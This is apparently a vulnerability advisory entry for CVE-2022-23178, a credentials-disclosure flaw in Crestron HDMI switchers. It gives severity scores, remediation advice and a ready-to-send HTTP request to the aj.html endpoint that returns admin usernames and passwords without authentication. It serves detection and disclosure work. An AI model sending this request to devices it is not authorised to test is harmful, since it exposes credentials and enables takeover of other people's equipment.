| Title | Crestron Device - Credentials Disclosure |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | An attacker can obtain sensitive credentials, leading to unauthorized access and potential compromise of the device. |
| Remediation | Update the Crestron Device firmware to the latest version to mitigate the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93636 |
| CVE ID | CVE-2022-23178 |
| CWE ID | CWE-287 |
| Tags | cve cve2022 crestron disclosure vkev vuln |
An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields.
GET /aj.html?a=devi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-23178.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-23178.pcap
N/AN/A